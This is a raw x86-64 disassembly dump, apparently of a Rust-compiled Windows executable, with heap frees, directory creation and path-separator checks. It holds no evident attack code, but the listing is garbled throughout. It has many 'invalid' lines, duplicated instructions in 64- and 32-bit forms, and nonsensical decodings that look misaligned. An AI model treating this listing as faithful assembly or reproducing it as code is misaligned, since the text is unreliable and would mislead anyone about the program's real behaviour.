test eax, eax
cmove rdx, rax
add rcx, rdx
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
invalid
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
add byte [rax], al
jmp 0x140083e73
lea rdx, [rax + 1]
lea edx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x140083e73
mov ecx, 2
add byte [rax], al
cmp rcx, r13
cmp ecx, ebp
mov rax, qword [rbp + 0xc0]
mov eax, dword [rbp + 0xc0]
ja 0x140084217
add eax, dword [rax]
add byte [rbp + 4], dh
jne case.0x14002f576.1370
xor eax, eax
jmp 0x140083e9e
invalid
shr bl, 0x15
add rcx, rax
mov rsi, rcx
mov esi, ecx
mov esi, ecx
movzx eax, byte [rsi]
cmp al, 0x2f
sete cl
xchg esp, eax
invalid
cmp al, 0x5c
invalid
xchg esp, eax
sar dword [rsp + rbx*2], 0xf
sete al
or al, cl
invalid
sete al
or al, cl
invalid
enter 0xffffffffffff8b48, 0x4d
mov rcx, qword [rbp + 0x48]
mov qword [rbp + 0x90], rcx
nop
add byte [rax], al
invalid
mov qword [rbp + 0x90], rcx
nop
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rbp + 0x28]
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
cmp byte [r15], r9b
movups xmmword [rbp + 0x80], xmm1
adc dword [rbp + 0x80], ecx
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbp + 0x70], xmm0
adc dword [rbp + 0x70], eax
mov rcx, qword [rbp + 0xc0]
mov ecx, dword [rbp + 0xc0]
rol byte [rax], 0
add byte [rax - 0x77], cl
invalid
add byte [rax], al
mov qword [rbp + 0x60], rcx
mov dword [rbp + 0x60], ecx
invalid
mov qword [rbp + 0x68], r13
mov dword [rbp + 0x68], ebp
mov word [rbp + 0x98], 0x200
mov byte [rbp + 0x9a], al
invalid
invalid
add byte [rax], al
invalid
mov dword [rbp + 0x98], 0x85880200
invalid
add cl, byte [rax + 0x9a85]
add byte [rax], al
add byte [rax - 0x73], cl
jne 0x140083f07
invalid
lea rsi, [rbp + 0x29]
lea rdi, [rbp + 0x28]
sub byte [rax - 0x73], cl
lea rbx, [rbp + 0x60]
xor r15d, r15d
invalid
pop rbp
invalid
dec dword [rbp + rcx*4 - 0x4b]
movabs al, byte [0x958b4843eb000000]
add byte [rax], al
add bl, ch
invalid
invalid
invalid
xchg ebp, eax
lea r14, [rbp + 0xa0]
jmp case.0x14002f576.1401
invalid
add bl, ch
mov rdx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb0]
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xa0]
imul rcx, rdx, 0x38
mov rax, qword [rbp + 0xa0]
imul rcx, rdx, 0x38
add byte [rax], al
add byte [rax + 0x6b], cl
retf 0x4438
invalid
mov byte [rax + rcx], r12b
or byte [rdi], cl
adc byte [rsi], al
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
push rsi
and byte [rdi], cl
adc dword [rax + rcx + 1], eax
push rsi
and byte [rdi], cl
adc dword [rax + rcx + 1], eax
movups xmmword [rax + rcx + 0x11], xmm1
adc dword [rax + rcx + 0x11], ecx
movups xmmword [rax + rcx + 0x21], xmm2
or byte [rcx], ah
mov r8, qword [rsi + 0x2f]
mov qword [rax + rcx + 0x30], r8
mov dword [rax + rcx + 0x30], eax
inc rdx
mov qword [rbp + 0xb0], rdx
mov byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
mov rcx, rdi
mov rdx, rbx
call fcn.14007e9a0
pop rcx
stosb byte [rdi], al
invalid
inc dword [rdi + rcx - 0x4a]
sub byte gs:[rcx - 0x80], al
cld
or cl, byte [rdi]
invalid
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
invalid
pop rcx
stosb byte [rdi], al
invalid
sub byte gs:[rcx - 0x80], al
cld
or cl, byte [rdi]
test byte [rdi + 0x41000000], ah
lea eax, [rsp - 6]
and al, 0xfa
lea eax, [r12 - 6]
and al, 0xfa
movzx ecx, al
lea rax, [rcx + 1]
lea eax, [rcx + 1]
lea eax, [rcx + 1]
cmp cl, 4
cmovae rax, r15
cmovae eax, edi
cmovae eax, edi
cmp rax, 1
je 0x140083fa0
cmp eax, 2
je case.0x14002f576.1401
clc
add dh, byte [rcx + rax*8 - 0x7d]
clc
add esi, dword [rbp + 0x5c]
cmp eax, 3
jne 0x140083fd5
mov rax, qword [rbp + 0xb0]
sub rax, 1
jb case.0x14002f576.1401
mov rcx, qword [rbp + 0xa0]
imul rdx, rax, 0x38
cmp byte [rcx + rdx], 9
jne case.0x14002f576.1401
mov qword [rbp + 0xb0], rax
jmp case.0x14002f576.1401
xor edx, edx
cmp qword [rbp + 0xb0], 0
mov ebp, 0xb0
add byte [rdi], cl
xchg ebp, eax
ret 0x8948
xchg ebp, eax
mov al, 0
add byte [rax], al
mov ebp, 0xb0
add byte [rdi], cl
xchg ebp, eax
ret 0x8948
mov al, 0
add byte [rax], al
cmp qword [rbp + 0xa8], rdx
jne case.0x140032218.1368
cmp bh, bh
invalid
invalid
cmp bh, bh
invalid
mov byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov ecx, esi
mov rcx, r14
mov ecx, esi
call fcn.14004dcc0
jmp 0x140083ef2
invalid
mov rdx, qword [rbp + 0xb0]
cmp rdx, qword [rbp + 0xa8]
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0x3b], cl
xchg ebp, eax
test al, 0
add byte [rax], al
jne case.0x140032218.1368
invalid
mov byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rax], al
mov rcx, r14
call fcn.14004dcc0
pushfq
cld
invalid
jmp 0x140083ef2
invalid
invalid
invalid
pushfq
cld
invalid
invalid
mov qword [rbp + 0x28], 1
add dword [rax], eax
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
adc dword [rbp + 0x30], eax
adc dword [rbp + 0x30], eax
xor r14b, r8b
mov byte [rbp + 0x40], 1
add dword [rax - 0x75], ecx
test dword [rax + 0x48000000], esp
add byte [rax], al
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xa0]
mov eax, dword [rbp + 0xa0]
add byte [rax], al
mov qword [rbp + 0xc0], rax
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], ebp
test al, 0
add byte [rax], al
invalid
invalid
mov rax, qword [rbp + 0xa8]
test al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0xb8], eax
test dword [rax + 0x48000000], edi
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], esi
add byte [rax], al
test rax, rax
mov rax, qword [rbp + 0xb0]
mov eax, dword [rbp + 0xb0]
add byte [rax], al
test rax, rax
ror byte [rdi], 0x84
push 0x48000001
add dword [rax], eax
invalid
invalid
je 0x1400841a4
test byte [rax + 1], ch
add byte [rax], al
add dword [rax], eax
add byte [rax + 0x6b], cl
invalid
invalid
imul rsi, rax, 0x38
imul esi, eax, 0x38
cmp byte [rax - 0x75], cl
mov rbx, qword [rbp + 0xc0]
popfq
rol byte [rax], 0
add byte [rax], al
add byte [rax + 1], cl
fimul word [rbp + rcx*4 + 0x65]
lea esp, [rbp + 0x61]
add rsi, rbx
add esi, ebx
lea r12, [rbp + 0x61]
lea esp, [rbp + 0x61]
lea rdi, [0x1400f0acc]
lea edi, [0x1400f0acc]
retf 6
invalid
xor eax, eax
jmp 0x140084068
shr bl, 0xf
xor eax, eax
add rbx, 0x38
add ebx, 0x38
ret
cmp byte [rax + 0x39], cl
je 0x1400841a4
test byte [rcx + rax], bh
add byte [rax], al
cmp rbx, rsi
cmp ebx, esi
je 0x1400841a4
test byte [rcx + rax], bh
cmp al, 1
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r13d, byte [rbx]
cmp r13d, 0xa
std
or cl, byte [rdi]
test byte [rsi], ch
add dword cs:[rax], eax
invalid
sub eax, dword [rcx - 0x7d]
std
or cl, byte [rdi]
test byte [rsi], ch
invalid
add dword [rax], eax
add byte [rax + rcx*4 + 0x6d], al
mov byte [rbp + 0x60], r13b
mov byte [rbp + 0x60], ch
insd dword [rdi], dx
invalid
mov rcx, qword [rbx + 0x30]
mov qword [r12 + 0x2f], rcx
mov dword [rsp + 0x2f], ecx
xor byte [r9 - 0x77], cl
mov dword [rsp + 0x2f], ecx
and al, 0x2f
movups xmm0, xmmword [rbx + 1]
movups xmm1, xmmword [rbx + 0x11]
movups xmm2, xmmword [rbx + 0x21]
adc byte [rbx + 0x21], dl
adc qword [r15], rcx
adc dword [rdi], ecx
adc byte [rbx + 0x21], dl
and dword [rcx + 0xf], eax
movups xmmword [r12 + 0x20], xmm2
adc dword [rsp + 0x20], edx
push rsp
and al, 0x20
and byte [rcx + 0xf], al
adc dword [rsp + 0x10], ecx
and al, 0x10
movups xmmword [r12 + 0x10], xmm1
and al, 0x10
movups xmmword [r12], xmm0
movups xmmword [rsp], xmm0
add al, 0x24
and al, 0xa8
add dword [rdx + rbp + 0x48], esi
test al, 1
je 0x1400840ce
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
invalid
lea rdx, [0x1400e9280]
adc eax, 0x651d1
rcl dword [rcx + 6]
add al, ch
push rcx
invalid
call fcn.14007ed70
mov esp, 0x84ffffac
sal byte [rbp + 0x16], 0x41
invalid
mov r8d, 1
lodsb al, byte [rsi]
invalid
inc dword [rax + rax*8 - 0x47bee98b]
test al, al
jne 0x1400840ce
invalid
invalid
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
sub byte [r8 - 0x73], r9b
sub byte [rax - 0x73], cl
add byte [rax], al
lea rcx, [rbp + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e9142]
adc eax, 0x65079
invalid
call fcn.140081ed0
fdivp st(7)
invalid
dec dword [rbx + rcx*4 + 0x75]
jo case.0x140083cda.8
mov r14, qword [rbp + 0x70]
jne 0x140084142
lea eax, [r13 - 6]
lea eax, [rbp - 6]
cli
movzx eax, al
mov dh, 0xc0
lea r15, [rax + 1]
cmp al, 4
invalid
add al, 0xb8
mov eax, 0
add byte [rax], al
add byte [rax], al
invalid
cmovae r15, rax
movsxd rax, dword [rdi + r15*4]
invalid
add al, 0xbf
add rax, rdi
mov r8, r15
clc
lea rdx, [0x1400e9142]
jmp rax
push rax
invalid
add bh, bh
loopne case.0x140068b4c.1318
invalid
mov rdx, qword [rbp + 0x88]
mov edx, dword [rbp + 0x88]
xchg ebp, eax
mov byte [rax], al
add byte [rax], al
mov r8, qword [rbp + 0x90]
test dword [rax - 0x15000000], edx
add byte [rax], al
add bl, ch
add byte [rax], al
jmp case.0x1400840f9.1
and eax, 0x68558b48
mov rdx, qword [rbp + 0x68]
mov edx, dword [rbp + 0x68]
push rbp
push 0xffffffffebf0894d
mov r8, r14
jmp case.0x1400840f9.1
sbb al, 0x41
mov r8d, 1
mov eax, 1
add byte [rax - 0x73], cl
adc eax, 0x65022
invalid
lea rdx, [0x1400e9143]
add bl, ch
jmp case.0x1400840f9.1
or eax, 0x2b841
mov r8d, 2
add byte [rax], al
lea rdx, str....
lea rcx, [rbp + 0x28]
call fcn.140081ed0
xchg edi, eax
invalid
invalid
inc dword [rcx - 0x7d]
inc dword [rcx]
xchg edi, eax
invalid
inc dword [rcx - 0x7d]
inc dword [rcx]
je case.0x140068b4c.1295
test byte [rsi], dl
invalid
invalid
push qword [rax - 0x7ab2ff]
mov al, 1
test r15, r15
invalid
add dword [rbp - 0x7b], ecx
dec dword [rdi]
test dword [0x18908414e], ecx
mov rax, qword [rbp + 0x80]
jne case.0x14007daa2.299
mov rax, qword [rbp + 0x80]
add byte [rax], 0
add byte [rcx + rcx*4 - 0x17], al
mov ecx, ebp
mov ecx, r13d
mov ecx, ebp
lea rdx, [0x1400f0ae0]
movsxd rcx, dword [rdx + rcx*4]
invalid
or ecx, 0x63480006
or al, 0x8a
invalid
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
add rcx, rdx
jmp rcx
add r14, 4
add esi, 4
mov r13, r14
jmp case.0x140084166.2
lea rcx, [rax + 1]
test rax, rax
test eax, eax
test eax, eax
cmove rcx, rax
lea r13, [r14 + rcx]
add r13, 8
jmp case.0x140084166.2
lea rcx, [rax + 1]
test rax, rax
cmove rcx, rax
lea r13, [r14 + rcx]
add r13, 2
test r13, r13
setne al
jmp case.0x14007daa2.299
cmp qword [rbp + 0xb8], 0
mov ebp, 0xb8
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
je 0x1400841c4
mov rcx, qword [0x1400f91f8]
push rax
invalid
xor edx, edx
mov r8, qword [rbp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
ret 2
mov rsi, qword [rbp - 8]
clc
cmp qword [rsi + 8], 0
je 0x1400841e1
mov r8, qword [rsi]
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x2c227
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x140083aae
clc
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.1400a9f20
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1400a9f20
ud2
mov byte [rbp + 0xcf], 0
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1400a9f20
ud2
mov ecx, 8
add byte [rax], al
mov edx, 0xe0
call fcn.1400a9e00
add al, ch
ret 0x25b
ud2
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
invalid
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0xb8], 0
add byte [rax], al
add byte [rax], al
je 0x14008427c
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
invalid
xor edx, edx
mov r8, qword [rbp + 0xc0]
mov eax, dword [rbp + 0xc0]
mov eax, dword [rbp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x7d], cl
jge 0x1400842b0
cmp qword [rbp + 0x30], 0
je 0x140084296
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rbp + 0x28]
invalid
mov r8, qword [rbp + 0x28]
sub byte [rax - 0x75], cl
or eax, 0x74f6a
invalid
invalid
mov rcx, qword [0x1400f91f8]
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x2c172
jb 0x140084255
add al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jb 0x140084255
add al, byte [rax]
jb 0x140084255
add al, byte [rax]
mov byte [rbp + 0xcf], 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
cmp qword [rbp + 0x18], 0
je 0x1400842e6
invalid
adc ecx, dword [rbx + rcx*4 + 0x45]
adc byte [rax - 0x75], cl
mov ecx, dword [0x1400f91f8]
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
cmp byte [rbp + 0xcf], 0
jne 0x140084345
add byte [rax], al
add byte [rbp + 0x20], dh
cmp qword [rbp + 0xa8], 0
cmp dword [rbp + 0xa8], 0
add byte [rax], al
je 0x140084345
mov r8, qword [rbp + 0xa0]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
int3
or ecx, dword [rax - 0x77]
ror dword [rcx + rcx*4 - 0x3e], 1
jmp fcn.140084450
mov rcx, rdx
mov rdx, r8
ror dword [rcx + rcx*4 - 0x3e], 1
jmp fcn.140084380
add byte [rax], al
int3
int3
push rax
mov r8, rdx
mov rdx, rcx
mov edx, ecx
mov edx, ecx
lea rcx, [rsp + 0x20]
call fcn.14007bfb0
jl 0x140084395
dec dword [rax - 0x75]
and al, 0x20
invalid
jl 0x140084395
invalid
dec dword [rax - 0x75]
and al, 0x20
invalid
and byte [rax - 0x75], cl
je case.0x14008387e.65
mov rsi, qword [rsp + 0x28]
test rax, rax
test eax, eax
sub byte [rax - 0x7b], cl
ror byte [rdi], 0x84
lea eax, [rax]
add byte [rax], al
invalid
test eax, eax
je case.0x14007edf4.274
add byte [rax - 0x75], cl
and al, 0x30
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rax - 0x77], cl
je 0x1400843dc
invalid
mov qword [rsp + 0x28], rsi
and al, 0x28
sub byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
lea rdx, [rsp + 0x20]
lea edx, [rsp + 0x20]
push rsp
and al, 0x20
mov r8b, 1
call fcn.1400828e0
mov rdi, qword [rsp + 0x38]
and al, 0x38
adc ch, ah
invalid
and al, 0x38
cmp byte [rax - 0x75], cl
mov rsi, qword [rsp + 0x40]
mov esi, dword [rsp + 0x40]
je case.0x1400861b2.338
and al, 0x40
test rdi, rdi
test rdi, rdi
push qword [rax + rbx*2 + 0x48]
je case.0x14007edf4.274
mov rcx, rdi
mov ecx, edi
stc
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
add al, byte [rax]
test eax, eax
je 0x140084409
sal byte [rbx + rbx + 0x48], 0x85
div byte [rdx + rax*2 + 0x48]
invalid
invalid
test rsi, rsi
test esi, esi
je case.0x1400861b2.346
mov rcx, qword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x74dfe
dec byte [rbp + 7]
add byte [rcx], dh
xor esi, esi
div byte [rcx]
xor edx, edx
mov r8, rdi
clc
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, eax
add al, byte [rax]
invalid
rol byte [rdx], 0
jmp case.0x14007edf4.274
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2bf99
cdq
mov edi, 0xc3890002
add al, byte [rax]
invalid
mov ebx, eax
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
invalid
invalid
mov ebx, eax
ret
shl rbx, 0x20
shl ebx, 0x20
jrcxz case.0x1400861b2.346
or rbx, 2
retf
add cl, byte [rax - 0x7b]
div byte [rdx + rdx + 0x48]
je case.0x14007edf4.273
invalid
test rsi, rsi
je case.0x14007edf4.273
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x74dd3
invalid
add byte [rcx], dh
xor edx, edx
ror byte [rcx - 0x77], cl
clc
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2bfd8
fdivr dword [rdi - 0x76b7fffe]
mov edi, 0x89480002
add al, byte [rax]
mov rsi, rbx
mov esi, ebx
fsubp st(3)
jmp case.0x14007edf4.274
add dh, byte [rcx]
xor esi, esi
test byte [rax - 0x77], 0xf0
mov rax, rsi
mov eax, esi
add rsp, 0x50
add esp, 0x50
invalid
push rax
pop rbx
pop rdi
pop rsi
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push r15
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1b8
in al, dx
mov eax, 0x48000001
add dword [rax], eax
add byte [rax - 0x73], cl
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x130], 0xfffffffffffffffe
mov dword [rbp + 0x130], 0xfffffffe
test dword [rax], esi
add dword [rax], eax
add byte [rax], al
invalid
xor byte [rcx], al
add byte [rax], al
invalid
invalid
invalid
dec dword [rax - 0x77]
mov rsi, rdx
mov esi, edx
invalid
mov rdi, rcx
mov edi, ecx
iretd
lea rcx, [rbp + 0xc0]
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rdi
cli
mov r8, rsi
invalid
call fcn.14007e4f0
invalid
invalid
movzx eax, byte [rbp + 0xc0]
mov dh, 0x85
test eax, eax
add byte [rax], al
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0xd0]
mov ecx, dword [rbp + 0xd0]
invalid
rol byte [rax], 1
add byte [rax], al
mov rdx, qword [rbp + 0xe0]
mov edx, dword [rbp + 0xe0]
xchg ebp, eax
loopne case.0x140080e18.264
add byte [rax], al
movzx r8d, al
movzx eax, al
mov dh, 0xc0
ror byte [rbp + rcx*4 + 0xd], 0x4a
lea r9, [0x1400f0af8]
lea ecx, [0x1400f0af8]
mov byte [rsi], 0
mov byte [rsi], 0
invalid
add byte [rdi + 0x63], cl
adc al, 0x81
movsxd r10, dword [r9 + r8*4]
invalid
add r10, r9
add edx, ecx
retf 0x8949
mov r8, rsi
mov eax, esi
mov r9, rdi
mov ecx, edi
jmp r10
loop 0x140084507
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x34
jmp case.0x14007ecb4.311
lea r8, [rdx + 1]
test rdx, rdx
invalid
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
invalid
invalid
invalid
test edx, edx
cmove r8, rdx
add rcx, r8
invalid
ret 0x14c
add ecx, eax
add rcx, 8
add ecx, 8
or bl, ch
jmp case.0x14007ecb4.311
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
add bl, ch
jmp case.0x14007ecb4.311
sbb dword [rbp + rcx*4 + 0x42], ecx
add dword [rax - 0x7b], ecx
invalid
invalid
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
cmove eax, edx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
invalid
cmove eax, edx
add rcx, r8
add rcx, 2
add ecx, 2
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
jmp case.0x14007ecb4.311
add eax, 0x2b9
add byte [rcx - 0x77], cl
invalid
invalid
mov ecx, 2
mov r8, rsi
sub r8, rcx
sub eax, ecx
jb 0x140084946
invalid
add al, 0
add byte [rax], al
invalid
invalid
invalid
add al, 0
add byte [rax + 1], cl
add rcx, rdi
stc
mov r9, rcx
mov ecx, ecx
test r8, r8
je 0x140084523
movzx ecx, byte [r9]
cmp cl, 0x2f
stc
invalid
sete dl
cmp cl, 0x5c
pop rsp
sete cl
or cl, dl
xchg esp, eax
ror dword [rax], 0xd1
or cl, dl
jmp 0x140084525
add dh, byte [rcx]
xor ecx, ecx
leave
mov rdx, qword [rbp + 0xe0]
mov qword [rbp + 0x2f], rdx
mov dword [rbp + 0x2f], edx
add byte [rax], al
add byte [rax - 0x77], cl
push rbp
invalid
movups xmm0, xmmword [rbp + 0xc1]
test ecx, eax
add byte [rax], al
add byte [rdi], cl
adc byte [rbp + 0xd1], cl
add byte [rax], al
invalid
movups xmm1, xmmword [rbp + 0xd1]
invalid
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
and byte [r15], r9b
sub dword [rbp + 0x10], eax
adc byte [rax - 0x7b], cl
div byte [rsi + rax + 0x3c]
je 0x140084551
invalid
test rsi, rsi
test esi, esi
je 0x140084551
cmp al, 6
jne 0x140084559
invalid
cmp al, 2
ja case.0x140083924.97
mov edx, dword [rbp + 0x2f]
mov qword [rbp + 0xdf], rdx
movaps xmm0, xmmword [rbp + 0x10]
invalid
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x10], al
invalid
adc byte [rdi], cl
sub byte [rbp + 0x20], cl
movaps xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0xd0], xmm1
rol byte [rax], 1
add byte [rax], al
movaps xmmword [rbp + 0xc0], xmm0
mov rdx, qword [rbp + 0xdf]
rol byte [rax], 0
add byte [rax - 0x75], cl
xchg ebp, eax
fild word [rax]
add byte [rax], al
mov qword [rbp + 0xa8], rdx
test al, 0
add byte [rax], al
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmm1, xmmword [rbp + 0xd0]
invalid
rol byte [rax], 1
add byte [rax], al
test eax, eax
add byte [rax], al
rol byte [rax], 0
add byte [rdi], cl
sub byte [rbp + 0xd0], cl
invalid
rol byte [rax], 1
add byte [rax], al
invalid
rol byte [rax], 1
add byte [rax], al
movups xmmword [rbp + 0x99], xmm1
movups xmmword [rbp + 0x89], xmm0
invalid
mov dword [rax], eax
add byte [rax], al
lea ebx, [rcx + 0xf000000]
cdq
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x89], eax
test dword [rcx + 0x48000000], ecx
mov dword [rbp + 0xb8], edi
mov ebp, 0xb8
mov dword [rax], eax
add byte [rax], al
mov qword [rbp + 0xb8], rdi
mov ebp, 0xb8
mov eax, 0x48000000
mov dword [rbp + 0x78], edi
jge 0x140084627
mov qword [rbp + 0x78], rdi
jge 0x140084627
js case.0x140074731.886
mov qword [rbp + 0x80], rsi
mov dword [rbp + 0x80], esi
add byte [rax], al
add byte [rax + 0x8885], cl
mov byte [rbp + 0x88], al
add byte [rsi - 0x39], ah
test dword [rax], esi
add byte [rax], al
mov word [rbp + 0xb0], 0x200
add byte [rax], al
add byte [rdx], al
add cl, byte [rax + 0xb28d]
mov byte [rbp + 0xb2], cl
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x69d86
invalid
invalid
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 0
mov dword [rbp + 0x40], 0
cmp byte [r8 - 0x39], r9b
mov dword [rbp + 0x40], 0
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rbp + 0x48], 6
mov word [rbp + 0x70], 0x200
jo 0x1400845e7
invalid
invalid
jo 0x1400845e7
add byte [rdx], al
add al, dh
jb case.0x1400826b1.184
mov byte [rbp + 0x72], 0
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
lea rdx, [rbp + 0x78]
push rbp
js 0x1400845dd
call fcn.1400849e0
out 3, eax
add byte [rax], al
invalid
add byte [rax + 0xf0ad87d], al
cmp byte [rbp - 0x28], 0xa
jge 0x1400845d4
fmul dword [rdx]
or cl, byte [rdi]
je 0x1400846b0
test byte [rbp + 0x48000000], ch
lea ebx, [rbp + 0xf8]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
popfq
clc
add byte [rax], al
invalid
lea rbx, [rbp + 0xf8]
add byte [rax], al
add byte [rbp + rcx*4 + 0x75], cl
lea r14, [rbp - 0x60]
movabs al, byte [0xc0a58d4c387d8d4c]
lea r15, [rbp + 0x38]
lea edi, [rbp + 0x38]
cmp byte [rbp + rcx*4 - 0x5b], cl
lea r12, [rbp + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rbp + rcx*4 + 0x6d], cl
fmul dword [rax - 0x73]
lea rdi, [rbp + 0x78]
lea r13, [rbp - 0x28]
lea rdi, [rbp + 0x78]
lea edi, [rbp + 0x78]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov ecx, esi
mov rcx, r14
mov ecx, esi
int1
mov rdx, r15
cli
call fcn.1400849e0
add eax, dword [rax]
add byte [rax + 0xf0aa07d], al
invalid
or cl, byte [rdi]
add byte [rax], al
cmp byte [rbp - 0x60], 0xa
je 0x1400846cd
invalid
mov byte [rax], al
add byte [rax], al
movabs al, byte [0x4800000088840f0a]
or cl, byte [rdi]
test byte [rax + 0x48000000], cl
mov byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 8]
mov eax, dword [rbp + 8]
or byte [r8 - 0x77], r9b
test eax, esi
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rbp - 0x28]
mov qword [rbp + 0xf0], rax
add byte [rax], al
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
adc byte [rbp - 0x18], cl
call 0x1385d566b
movups xmm2, xmmword [rbp - 8]
push rbp
clc
movaps xmmword [rbp + 0xe0], xmm2
xchg ebp, eax
loopne 0x140084661
add byte [rax], al
movaps xmmword [rbp + 0xd0], xmm1
invalid
movaps xmmword [rbp + 0xc0], xmm0
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
